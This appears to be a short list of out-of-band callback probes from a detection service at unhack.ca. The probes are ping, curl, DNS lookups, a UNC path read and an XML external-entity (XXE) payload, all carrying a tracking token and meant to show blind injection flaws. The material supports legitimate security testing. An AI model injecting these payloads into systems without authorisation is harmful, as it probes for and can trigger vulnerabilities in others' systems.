$ ping -c1 -p 0071a2feb49ec6c74acf81a31a2fe400 unhack.ca
 

$ curl http://unhack.ca/p/71a2feb49ec6c74acf81a31a2fe4
 

$ dig 71a2feb49ec6c74acf81a31a2fe4 @unhack.ca
 

$ dig 71a2feb49ec6c74acf81a31a2fe4.ns.unhack.ca
 

C:\> nslookup 71a2feb49ec6c74acf81a31a2fe4 unhack.ca
 

C:\> type \\unhack.ca\71a2feb49ec6c74acf81a31a2fe4\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/71a2feb49ec6c74acf81a31a2fe4">]>
    <foo>&xxe;</foo>